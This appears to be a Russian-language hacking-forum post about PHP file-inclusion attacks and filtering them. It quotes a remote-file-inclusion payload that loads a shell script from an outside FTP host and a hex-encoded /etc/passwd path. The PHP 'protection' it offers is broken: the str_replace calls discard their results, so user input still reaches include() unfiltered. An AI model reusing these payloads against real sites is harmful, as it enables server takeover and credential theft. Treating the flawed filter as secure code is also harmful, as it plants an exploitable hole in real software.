
12.03.2010, 13:37
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Сообщение от Jokester
Угу, этот способ просто класс 
file.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php
PS Я так полагаю в str_replace ты просто опечатался, как и в '\', а то вообще работать не будет.
почему? точка вырезается же, с ftp не проканает.
А "\" вырезается, чтобы не передать в хексе путь
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 = /etc/passwd
Про опечатку - действительно два слеша надо, т.к. экранирование.
PHP код:
<?
if ($page=="") {
$page="any.php";
include($page);
}else{
str_replace('.', '', $page);
str_replace('/', '', $page); // прямые тоже вырезать
str_replace('\\', '', $page);
if(file_exists($page)){
include($page);
}
}
?>
Последний раз редактировалось попугай; 12.03.2010 в 13:55..
|
|
|